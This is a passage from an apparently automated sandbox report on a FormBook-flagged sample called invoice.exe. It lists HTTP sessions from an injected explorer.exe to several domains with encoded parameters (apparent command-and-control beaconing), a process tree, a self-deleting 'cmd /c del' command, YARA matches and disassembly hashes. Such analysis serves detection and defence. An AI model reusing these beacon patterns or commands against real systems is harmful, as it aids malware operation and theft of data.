4c 35 63 4d 48 67 6f 32 59 35 30 72 51 71 4f 4b 63 69 4e 72 36 6c 72 62 63 68 6b 44 7a 6e 6f 48 59 53 61 65 71 35 25 32 46 69 45 62 56 51 4f 76 6c 53 51 33 4b 70 6a 37 4f 50 63 49 38 55 41 4f 48 65 6b 6b 71 7a 33 51 48 31 76 4b 4d 73 59 7a 64 71 54 57 6c 52 66 65 52 6e 66 70 71 73 44 25 32 42 76 4c 30 6d 25 32 42 68 61 69 44 77 73 6f 75 42 4e 57 41 7a 64 50 25 32 46 59 68 51 58 49 76 38 5a 55 76 4a 42 6c 56 59 51 6e 72 44 79 6d 44 26 70 72 76 74 6f 66 3d 78 4a 34 43 74 5a 31 34 4e 72 4b 72 77 73 6c 52 31 64 58 4d 4b 38 30 63 72 58 6a 57 46 37 73 4b 68 6b 62 5a 34 47 4e 39 42 78 45 25 33 44 26 70 6f 72 75 3d 4e 62 56 72 69 6b 79 69 73 34 61 7a 25 32 42 74 62 53 74 51 45 64 44 75 69 32 32 5a 52 46 78 63 36 71 56 71 59 62 6b 49 36 4f 4c 54 30 38 64 6a 54 4a 39 71 79 31 66 72 58 55 39 53 56 4d 66 39 39 4b 4c 42 39 67 6f 34 6c 30 72 46 38 41 74 25 32 42 69 41 42 71 25 32 46 6a 64 43 64 51 4a 64 70 30 70 62 6f 30 4b 34 47 75 78 45 4c 55 65 79 6f 53 35 77 75 64 4a 44 6b 50 44 66 33 4a 70 59 66 32 41 43 61 47 78 36 4b 31 51 5a 64 51 31 38 34 46 25 32 42 35 4c 69 46 61 30 6d 63 78 52 55 76 72 47 59 4a 37 78 42 59 57 79 7a 42 51 25 32 46 65 79 79 37 77 25 32 46 32 33 77 4f 54 4b 75 42 66 7a 45 46 77 61 37 34 56 75 57 30 53 70 63 36 59 43 6f 4d 49 36 45 4e 72 44 6b 77 67 55 33 68 67 25 33 44 25 33 44 26 63 69 66 72 3d 31 26 77 30 47 3d 33 77 34 51 48 56 72 4a 4f 43 69 6d 74 39 30 5a 54 65 4b 58 4d 65 37 5a 72 59 62 34 62 6e 6b 7a 76 37 51 5a 7a 75 66 6a 50 71 68 46 42 50 47 51 31 53 72 4a 25 32 46 77 46 73 48 79 36 6c 71 64 71 51 42 6c 72 30 26 75 46 51 6c 3d 58 50 37 48 4d 54 5f 38 22 3b 0d 0a 09 2f 2a 0d 0a 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 Data Ascii: ...top.location="http://www.knoxvilleoutdoorkitchens.com/?fp=acjVxO24ruBE1bSnAJOOFeZ9d2%2Bill3hWebcMHeneryqde34aljK8g7L5cMHgo2Y50rQqOKciNr6lrbchkDznoHYSaeq5%2FiEbVQOvlSQ3Kpj7OPcI8UAOHekkqz3QH1vKMsYzdqTWlRfeRnfpqsD%2BvL0m%2BhaiDwsouBNWAzdP%2FYhQXIv8ZUvJBlVYQnrDymD&prvtof=xJ4CtZ14NrKrwslR1dXMK80crXjWF7sKhkbZ4GN9BxE%3D&poru=NbVrikyis4az%2BtbStQEdDui22ZRFxc6qVqYbkI6OLT08djTJ9qy1frXU9SVMf99KLB9go4l0rF8At%2BiABq%2FjdCdQJdp0pbo0K4GuxELUeyoS5wudJDkPDf3JpYf2ACaGx6K1QZdQ184F%2B5LiFa0mcxRUvrGYJ7xBYWyzBQ%2Feyy7w%2F23wOTKuBfzEFwa74VuW0Spc6YCoMI6ENrDkwgU3hg%3D%3D&cifr=1&w0G=3w4QHVrJOCimt90ZTeKXMe7ZrYb4bnkzv7QZzufjPqhFBPGQ1SrJ%2FwFsHy6lqdqQBlr0&uFQl=XP7HMT_8";/*--><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP
Apr 8, 2021 12:04:59.498404980 CEST	1649	IN	Data Raw: 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 6a 63 39 6a 6f 52 4a 4f 67 37 Data Ascii: 4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_jc9joRJOg7xepppfUjhgNUfaQZzFQ8rnfCxQRWJh90VSrWOsDLcYcPwxAW8oD+eV6/1Kf7dQa9exp2BXhMPJvQ=="><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
Apr 8, 2021 12:04:59.498425007 CEST	1650	IN	Data Raw: 31 62 53 6e 41 4a 4f 4f 46 65 5a 39 64 32 25 32 42 69 6c 6c 33 68 57 65 62 63 4d 48 65 6e 65 72 79 71 64 65 33 34 61 6c 6a 4b 38 67 37 4c 35 63 4d 48 67 6f 32 59 35 30 72 51 71 4f 4b 63 69 4e 72 36 6c 72 62 63 68 6b 44 7a 6e 6f 48 59 53 61 65 71 Data Ascii: 1bSnAJOOFeZ9d2%2Bill3hWebcMHeneryqde34aljK8g7L5cMHgo2Y50rQqOKciNr6lrbchkDznoHYSaeq5%2FiEbVQOvlSQ3Kpj7OPcI8UAOHekkqz3QH1vKMsYzdqTWlRfeRnfpqsD%2BvL0m%2BhaiDwsouBNWAzdP%2FYhQXIv8ZUvJBlVYQnrDymD&prvtof=ruPv3wMC3k1LkwMglFyoHU6Wh6zgR%2Be1vZt3n6dP3lE
Apr 8, 2021 12:04:59.531753063 CEST	1651	IN	Data Raw: 31 62 53 6e 41 4a 4f 4f 46 65 5a 39 64 32 25 32 42 69 6c 6c 33 68 57 65 62 63 4d 48 65 6e 65 72 79 71 64 65 33 34 61 6c 6a 4b 38 67 37 4c 35 63 4d 48 67 6f 32 59 35 30 72 51 71 4f 4b 63 69 4e 72 36 6c 72 62 63 68 6b 44 7a 6e 6f 48 59 53 61 65 71 Data Ascii: 1bSnAJOOFeZ9d2%2Bill3hWebcMHeneryqde34aljK8g7L5cMHgo2Y50rQqOKciNr6lrbchkDznoHYSaeq5%2FiEbVQOvlSQ3Kpj7OPcI8UAOHekkqz3QH1vKMsYzdqTWlRfeRnfpqsD%2BvL0m%2BhaiDwsouBNWAzdP%2FYhQXIv8ZUvJBlVYQnrDymD&prvtof=ruPv3wMC3k1LkwMglFyoHU6Wh6zgR%2Be1vZt3n6dP3lE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49731	74.208.236.64	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 12:05:11.900079012 CEST	5238	OUT	GET /e3rs/?w0G=7ZSYqSAb20IhJodkc2ZZv2+VQiffweVGAnhTkqT9MP7KQ1W755ixlatoWnihL/C2wZs0&uFQl=XP7HMT_8 HTTP/1.1 Host: www.highdeserthealthinsurance.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Apr 8, 2021 12:05:12.034537077 CEST	5238	IN	HTTP/1.1 302 Found Content-Type: text/html Content-Length: 0 Connection: close Date: Thu, 08 Apr 2021 10:05:11 GMT Server: Apache/2.4.10 (Debian) Cache-Control: no-cache Location: http://raygemme.com/e3rs/?w0G=7ZSYqSAb20IhJodkc2ZZv2+VQiffweVGAnhTkqT9MP7KQ1W755ixlatoWnihL/C2wZs0&uFQl=XP7HMT_8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49732	177.55.108.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 12:05:18.088413954 CEST	5243	OUT	GET /e3rs/?uFQl=XP7HMT_8&w0G=Ok77fVcdVMfIiR4pMXON/NN29f2Jfu2AMoU186FmLUOu6U92Y3SpeQqKBhzvmDYI2dCa HTTP/1.1 Host: www.hotelmaktub.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Apr 8, 2021 12:05:18.292332888 CEST	5243	IN	HTTP/1.1 404 Not Found Date: Thu, 08 Apr 2021 10:05:18 GMT Server: Apache/2.4.20 (Unix) OpenSSL/1.0.1e-fips Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 65 33 72 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /e3rs/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49734	192.0.78.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 12:05:23.354604006 CEST	5273	OUT	GET /e3rs/?w0G=0yUiwx1wLvxUfzb5kCZXOl2J+dvoSMZhdpoUDtYYFWxv9npQwlOrxt3zkZH4aLHtWZT3&uFQl=XP7HMT_8 HTTP/1.1 Host: www.legacyadmin.support Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Apr 8, 2021 12:05:23.483477116 CEST	5273	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 08 Apr 2021 10:05:23 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.legacyadmin.support/e3rs/?w0G=0yUiwx1wLvxUfzb5kCZXOl2J+dvoSMZhdpoUDtYYFWxv9npQwlOrxt3zkZH4aLHtWZT3&uFQl=XP7HMT_8 X-ac: 3.mxp _dca Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: invoice.exe PID: 1972 Parent PID: 5628

General

Start time:	12:03:22
Start date:	08/04/2021
Path:	C:\Users\user\Desktop\invoice.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\invoice.exe'
Imagebase:	0x800000
File size:	894464 bytes
MD5 hash:	492017E064CAB97DD8EA27ABD3E5CFCA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: invoice.exe PID: 480 Parent PID: 1972

General

Start time:	12:03:31
Start date:	08/04/2021
Path:	C:\Users\user\Desktop\invoice.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\invoice.exe
Imagebase:	0xd70000
File size:	894464 bytes
MD5 hash:	492017E064CAB97DD8EA27ABD3E5CFCA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3472 Parent PID: 480

General

Start time:	12:03:33
Start date:	08/04/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff693d90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: wscript.exe PID: 5064 Parent PID: 3472

General

Start time:	12:03:49
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wscript.exe
Imagebase:	0xe0000
File size:	147456 bytes
MD5 hash:	7075DD7B9BE8807FCA93ACD86F724884
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6164 Parent PID: 5064

General

Start time:	12:03:54
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\invoice.exe'
Imagebase:	0x1c0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6196 Parent PID: 6164

General

Start time:	12:03:55
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: invoice.exe PID: 1972 Parent PID: 5628 invoice.exeCOMMON

Executed Functions

Function 02BF5930, Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

QFy, xrefs: 02BF59AC
\`8V, xrefs: 02BF5B07

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID: QFy$\`8V
API String ID: 0-3697510059
Opcode ID: d64d5e928d7121bc7b4258da6cb18c41b8b5a8b0f9bbe2cff1669359369bdc62
Instruction ID: acd543c622904ffdf9b007ab7ebc37a58c164f5207ff8962ba3d35dcf09c0693
Opcode Fuzzy Hash: d64d5e928d7121bc7b4258da6cb18c41b8b5a8b0f9bbe2cff1669359369bdc62
Instruction Fuzzy Hash: C8714771E04229CBDB68CF66C840BDAB7B6BF89300F14D5EAD619A7244EB305A85CF10

Uniqueness

Uniqueness Score: -1.00%

Function 02BF5B5A, Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

QFy, xrefs: 02BF59AC
\`8V, xrefs: 02BF5B07

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID: QFy$\`8V
API String ID: 0-3697510059
Opcode ID: 2e39aea2ff067644d67ead6724edc85697973c91c755d51c1cba7150ee8bd6b5
Instruction ID: df460ee6d0f83cfecab39ce30a37fc85e079977a682b846dfbe5005714fbe54d
Opcode Fuzzy Hash: 2e39aea2ff067644d67ead6724edc85697973c91c755d51c1cba7150ee8bd6b5
Instruction Fuzzy Hash: 83512671E0462ACFDB64CF65C840BDEB7B2BF89300F1495EAD619A6254E7709AC5CF10

Uniqueness

Uniqueness Score: -1.00%

Function 02BF5B95, Relevance: 2.6, Strings: 2, Instructions: 141COMMON

Download Yara Rule

Strings

QFy, xrefs: 02BF59AC
\`8V, xrefs: 02BF5B07

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID: QFy$\`8V
API String ID: 0-3697510059
Opcode ID: 23b7084e20b81e1cff449797e7f967b67e263c78d6a7380eff113e0169c4e4b4
Instruction ID: 1e1116200213cc0ab9a9ab98d6e4b0562c1c3fb8959c80fedaf4788fb0b451cd
Opcode Fuzzy Hash: 23b7084e20b81e1cff449797e7f967b67e263c78d6a7380eff113e0169c4e4b4
Instruction Fuzzy Hash: 1A513571E0422ACBDB64CF65C840BEEB7B2FB89300F10D5E6D619A6240E7709AC5CF10

Uniqueness

Uniqueness Score: -1.00%

Function 02BF5B3B, Relevance: 2.6, Strings: 2, Instructions: 140COMMON

Download Yara Rule

Strings

QFy, xrefs: 02BF59AC
\`8V, xrefs: 02BF5B07

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID: QFy$\`8V
API String ID: 0-3697510059
Opcode ID: 92f72d772b696bafa446160f1f4f786e85f0b20d44b701a63c7fe998dbdd1416
Instruction ID: dd8dbc0868061015c9a0f2f63b021eb51c9f6bc2a8724886c0ef3e91be2f9402
Opcode Fuzzy Hash: 92f72d772b696bafa446160f1f4f786e85f0b20d44b701a63c7fe998dbdd1416
Instruction Fuzzy Hash: F4512571E0422ACFDB64CF65C840BEEB7B2BB89300F1495EAD619A7240E7709AC5CF10

Uniqueness

Uniqueness Score: -1.00%

Function 011794A8, Relevance: .7, Instructions: 661COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fe21566e10785ad1f17510cf8b0fb9c92df239ec8772f4270d6d7171ca687c6
Instruction ID: 716c2bec5fc35bf2a3cd6647ef4d22929ec81851c9c36578ee0c525a169f958f
Opcode Fuzzy Hash: 9fe21566e10785ad1f17510cf8b0fb9c92df239ec8772f4270d6d7171ca687c6
Instruction Fuzzy Hash: A5528E31A00619CFDB19CF68C880AAEB7B2FF45318F5585A9E919AB351D770FD89CB40

Uniqueness

Uniqueness Score: -1.00%

Function 02BF0006, Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a071738f9d772ba5b9cc17ad9c6d6d55de057d2511db547542fc1cec5d6f6c29
Instruction ID: f94d7ecd477d5434203a44e6c18469dae173b8960b2c7f67d12f5a3d5cbd38a5
Opcode Fuzzy Hash: a071738f9d772ba5b9cc17ad9c6d6d55de057d2511db547542fc1cec5d6f6c29
Instruction Fuzzy Hash: 97C16B70E18219CFCB54EFA4C94479DBBB1FF89300F1489AAD10AB7269DB349949DF24

Uniqueness

Uniqueness Score: -1.00%

Function 02BF0040, Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5609a4096b7f68d968ec3e7e0da785815a5c3d3b6b7229944c26a6fac2ca4cb1
Instruction ID: 7965b17215fbe86dbfaef18a060a2cb75f097014153e15e2e889d228bbeb7287
Opcode Fuzzy Hash: 5609a4096b7f68d968ec3e7e0da785815a5c3d3b6b7229944c26a6fac2ca4cb1
Instruction Fuzzy Hash: EAC16970D14219CFCB54EFA5C94469DFBB1FB89300F1089AAD10ABB369DB309949DF24

Uniqueness

Uniqueness Score: -1.00%

Function 0117DCF4, Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 141cd1977204458ebd7d30556160a89c6bcf1aa5e72d8bf7574196018816fca3
Instruction ID: c99d7f58fe4a42698dfa2188c80d73758962bcaa0a824caecb29e58ff1b8161f
Opcode Fuzzy Hash: 141cd1977204458ebd7d30556160a89c6bcf1aa5e72d8bf7574196018816fca3
Instruction Fuzzy Hash: D1919E34E003199FCB08DFA4D8549DDBBBAFF89304F158255E516BB3A4EB30A989CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0117DCE8, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6eda11a7273fea3aa3acba31bd1ccc6c996e790380246d71eb24923db1fff88
Instruction ID: 39b8603e932fcb10ee91a5e9c6cca524088e0736cdad880bb14567b8ae851e8e
Opcode Fuzzy Hash: d6eda11a7273fea3aa3acba31bd1ccc6c996e790380246d71eb24923db1fff88
Instruction Fuzzy Hash: 9D819F35E003199FCB08DFE4D8548DDBBBAFF89314F158215E516AB764EB30A989CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0117E218, Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d003dfc13fbff8a864199ffcc0ad1dbe9c54ab701f0cc5a7b7ebc57e800dfa19
Instruction ID: 19c5867ae4c005d8e328f876e92f31551e7d5d9e95ff923fdaa5270b0fae4e04
Opcode Fuzzy Hash: d003dfc13fbff8a864199ffcc0ad1dbe9c54ab701f0cc5a7b7ebc57e800dfa19
Instruction Fuzzy Hash: 76819B35E003199FCB08DFE4D8548DDBBBAFF89314F148215E516AB3A4EB30A989CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02BF81B0, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaa5b45727bd81dea035c5979566b9f64fe17c22747b869d1c39edecc61ee668
Instruction ID: 1ed7c92341dfbffa93a9478a27212baab296d11a6c263a75ea1e4e23a7cf94f1
Opcode Fuzzy Hash: aaa5b45727bd81dea035c5979566b9f64fe17c22747b869d1c39edecc61ee668
Instruction Fuzzy Hash: 5411A9B0D042188FDB158FA1C449BFEBBF1BB0E301F1450AAD945B3290D7389A88CB64

Uniqueness

Uniqueness Score: -1.00%

Function 02BF81C0, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9517960ed9ad68d074793c3736c7cff2ea5c38a1dcde016e0a8df27e6fc49b87
Instruction ID: eb361bff61a30133df0a11ae9585fb015d6368f706bd3b902e3dd40de7ca437f
Opcode Fuzzy Hash: 9517960ed9ad68d074793c3736c7cff2ea5c38a1dcde016e0a8df27e6fc49b87
Instruction Fuzzy Hash: AC117C30D042588FDB15CFA6C418BEEBBF1BB4E305F1490AAD545B3290C7386A48CB78

Uniqueness

Uniqueness Score: -1.00%

Function 01176A40, Relevance: 6.1, APIs: 4, Instructions: 126threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 01176AB0
GetCurrentThread.KERNEL32 ref: 01176AED
GetCurrentProcess.KERNEL32 ref: 01176B2A
GetCurrentThreadId.KERNEL32 ref: 01176B83

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 2b7b69cf8e1fa58c8a88483b3e71ca060b98d2aaae2f1817ffe8e8d9a143b6ce
Instruction ID: 488c5ea4dce0c0d2f0d432efb69fe4811edbd8f5fc4a857e5c2e2a5c056ef064
Opcode Fuzzy Hash: 2b7b69cf8e1fa58c8a88483b3e71ca060b98d2aaae2f1817ffe8e8d9a143b6ce
Instruction Fuzzy Hash: 715165B4900789CFEB18DFAAD548BAEBBF0AF49314F24845AE019B7390D7746844CB65

Uniqueness

Uniqueness Score: -1.00%

Function 01176A50, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 01176AB0
GetCurrentThread.KERNEL32 ref: 01176AED
GetCurrentProcess.KERNEL32 ref: 01176B2A
GetCurrentThreadId.KERNEL32 ref: 01176B83

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 9ac19b4076b28fe89e8305045dffd0fdf2756ae5c640d6698f74145aae4958a8
Instruction ID: c612d8536b9271906cedcbe8add913dc08b4d78b6a1ef7248381a32077f2999d
Opcode Fuzzy Hash: 9ac19b4076b28fe89e8305045dffd0fdf2756ae5c640d6698f74145aae4958a8
Instruction Fuzzy Hash: 825155B49006888FEB18DFAAD548BAEBBF0AF48314F248459E019B7354D7746844CF65

Uniqueness

Uniqueness Score: -1.00%

